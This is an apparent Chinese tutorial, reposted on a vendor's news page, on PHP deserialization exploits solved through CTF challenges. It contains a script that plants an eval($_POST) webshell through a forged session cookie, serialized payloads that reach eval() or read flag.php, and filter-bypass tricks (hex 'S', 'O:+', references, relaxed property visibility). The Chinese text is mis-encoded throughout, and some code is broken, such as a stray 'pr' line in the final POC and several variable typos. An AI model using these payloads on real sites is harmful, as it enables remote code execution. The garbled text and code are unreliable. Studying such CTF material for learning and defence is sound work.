而session_start() 函數(shù)會解析 session 文件,就相當(dāng)于進(jìn)行了反序列化,session值我們是可控的,這樣的話反序列化有了,只要構(gòu)造出序列化字符串觸發(fā) User類 的 __destruct方法就可以了

<?php  
class User  
{  
public $username;  
public $password;  

function __construct($username, $password)  
{  
$this->username = $username;  
$this->password = $password;  
}  
}  
$a=new User('1.php','<?php eval($_POST["1"]);?>');  
echo base64_encode("|".serialize($a));

訪問的時候文件名是log-拼接,所以是log-1.php,index.php里面三元條件運(yùn)算符:$SESSION['limti']>5?die("登陸失敗次數(shù)超過限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

第一個式子不成立,則執(zhí)行$SESSION['limit']=base64_decode($COOKIE['limit'),因?yàn)橛衎ase64_decode,所以這里我們還有base64_encode一下

抓包改limit值

PHP反序列化入門代碼實(shí)例分析

然后發(fā)包,接著訪問check.php 實(shí)現(xiàn)反序列化shell的寫入

PHP反序列化入門代碼實(shí)例分析

然后變更請求方法,注意直接右鍵選擇變更POST請求

PHP反序列化入門代碼實(shí)例分析

tricks總結(jié)

16進(jìn)制繞過字符過濾

//O:1:"A":1:{s:2:"ab";s:4:"test";}  
//O:1:"A":1:{S:2:"61b";s:4:"test";}//s改為大寫S會被當(dāng)成16進(jìn)制解析 //61是a的16進(jìn)制

php類名對大小寫不敏感

<?php  

highlight_file(__FILE__);  

include('flag.php');  
$cs = file_get_contents('php://input');  


class ctfshow{  
public $username='xxxxxx';  
public $password='xxxxxx';  
public function __construct($u,$p){  
$this->username=$u;  
$this->password=$p;  
}  
public function login(){  
return $this->username===$this->password;  
}  
public function __toString(){  
return $this->username;  
}  
public function __destruct(){  
global $flag;  
echo $flag;  
}  
}  
$ctfshowo=@unserialize($cs);  
if(preg_match('/ctfshow/', $cs)){  
throw new Exception("Error $ctfshowo",1);  
}

很明顯是觸發(fā)析構(gòu)函數(shù)就得到了flag,但是有過濾,如果匹配到了ctfshow就拋異常,

這題用到的知識點(diǎn)是PHP類名對大小寫不敏感,可以清楚看到過濾并沒有過濾大小寫

直接這樣

$cs = file_get_contents('php://input');采用php偽協(xié)議傳參

直接提交POST數(shù)據(jù)就行

<?php  


class cTfshow  
{  


}  

$a=new cTfshow();  
echo (serialize($a));

PHP反序列化入門代碼實(shí)例分析

+號繞過

<?php  


error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username='xxxxxx';  
public $password='xxxxxx';  
public $isVip=false;  
public $class = 'info';  

public function __construct(){  
$this->class=new info();  
}  
public function login($u,$p){  
return $this->username===$u&&$this->password===$p;  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class info{  
public $user='xxxxxx';  
public function getInfo(){  
return $this->user;  
}  
}  

class backDoor{  
public $code;  
public function getInfo(){  
eval($this->code);  
}  
}  

$username=$_GET['username'];  
$password=$_GET['password'];  

if(isset($username) && isset($password)){  
if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){  
$user = unserialize($_COOKIE['user']);  
}  
$user->login($username,$password);  
}  

可見增加了過濾,過濾例如如下o:123:、c:456:

s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()

正常反序列化肯定會有o和c這種

如果O:后面不跟數(shù)字的話就可以把這個繞過去了

這里可以用+號,具體原因是跟PHP底層代碼有關(guān),+號判斷也是可以正常的反序列化的

這里把O:后面加上一個加號

<?php  

error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username='xxxxxx';  
public $password='xxxxxx';  
public $isVip=false;  
public $class = 'info';  

public function __construct(){  
$this->class=new backDoor();  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class backDoor{  
public $code="phpinfo();";  
public function getInfo(){  
eval($this->code);  
}  
}  

$a=new ctfShowUser();  
//echo urlencode(serialize($a));  
$a=serialize($a);  
$a=preg_replace('/[oc]+:/i','O:+',$a);  
echo urlencode($a);

PHP反序列化入門代碼實(shí)例分析

利用&使兩值恒等

<?php  

error_reporting(0);  
include('flag.php');  
highlight_file(__FILE__);  
class ctfshowAdmin{  
public $token;  
public $password;  

public function __construct($t,$p){  
$this->token=$t;  
$this->password = $p;  
}  
public function login(){  
return $this->token===$this->password;  
}  
}  

$ctfshow = unserialize($_GET['ctfshow']);  
$ctfshow->token=md5(mt_rand());  

if($ctfshow->login()){  
echo $flag;  
}

$ctfshow->login()這個成立才給flag

$ctfshow->token=md5(mt_rand());但是這個是隨機(jī)的

這個題考察php按地址傳參

<?php  
$a='11';  
$b=&$a;  
$b=1;  
echo $a;//$b被賦值的是變量a的地址,php是按地址傳參,a的值會隨b值變化  
//1

所以我們可以直接這樣

<?php  
class ctfshowAdmin{  
public $token;  
public $password;  
public function __construct(){  
$this->password = &$this->token;  
}  
}  
$a=new ctfshowAdmin();  
echo ( urlencode(serialize($a)));

php7.1+反序列化對類屬性不敏感

題目來自[網(wǎng)鼎杯 2020 青龍組]AreUSerialz

<?php  

include("flag.php");  

highlight_file(__FILE__);  

class FileHandler {  

protected $op;  
protected $filename;  
protected $content;  

function __construct() {  
$op = "1";  
$filename = "/tmp/tmpfile";  
$content = "Hello World!";  
$this->process();  
}  

public function process() {  
if($this->op == "1") {  
$this->write();  
} else if($this->op == "2") {  
$res = $this->read();  
$this->output($res);  
} else {  
$this->output("Bad Hacker!");  
}  
}  

private function write() {  
if(isset($this->filename) && isset($this->content)) {  
if(strlen((string)$this->content) > 100) {  
$this->output("Too long!");  
die();  
}  
$res = file_put_contents($this->filename, $this->content);  
if($res) $this->output("Successful!");  
else $this->output("Failed!");  
} else {  
$this->output("Failed!");  
}  
}  

private function read() {  
$res = "";  
if(isset($this->filename)) {  
$res = file_get_contents($this->filename);  
}  
return $res;  
}  

private function output($s) {  
echo "[Result]: <br>";  
echo $s;  
}  

function __destruct() {  
if($this->op === "2")  
$this->op = "1";  
$this->content = "";  
$this->process();  
}  

}  

function is_valid($s) {  
for($i = 0; $i < strlen($s); $i++)  
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
return false;  
return true;  
}  

if(isset($_GET{'str'})) {  

$str = (string)$_GET['str'];  
if(is_valid($str)) {  
$obj = unserialize($str);  
}  

}

看著很多,其實(shí)沒什么東西,

關(guān)鍵要利用到這里

大致看了write函數(shù)或者read函數(shù),都可以嘗試?yán)玫玫絝lag

但是__destruct()方法 $this->content = "";會把content值為空,我們沒有辦法去利用這個write函數(shù),所以看看read函數(shù)

__destruct()方法里有一個強(qiáng)類型比較,$this->op === "2",如果我們把op=2;不加引號,那么為int類型,則$this->op === "2"為false,這樣在process()方法里,就會調(diào)用read方法

接著就是繞過 is_valid函數(shù) ,由于有protected屬性,會有不可打印字符,而不可打印字符被

is_valid函數(shù)限制住了,所以需要繞過,那么在php7.1版本以上可以直接修改屬性

因?yàn)閜hp7.1以上的版本對屬性類型不敏感,所以可以將屬性改為public,public屬性序列化不會出現(xiàn)不可見字符

POC如下

<?php  

class FileHandler {  

public $op=2;  
public $filename="flag.php";  
public $content="111";  
pr  
}  

$a = new FileHandler();  

echo urlencode(serialize($a));  

?>

payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D

讀到這里,這篇“PHP反序列化入門代碼實(shí)例分析”文章已經(jīng)介紹完畢,想要掌握這篇文章的知識點(diǎn)還需要大家自己動手實(shí)踐使用過才能領(lǐng)會,如果想了解更多相關(guān)內(nèi)容的文章,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI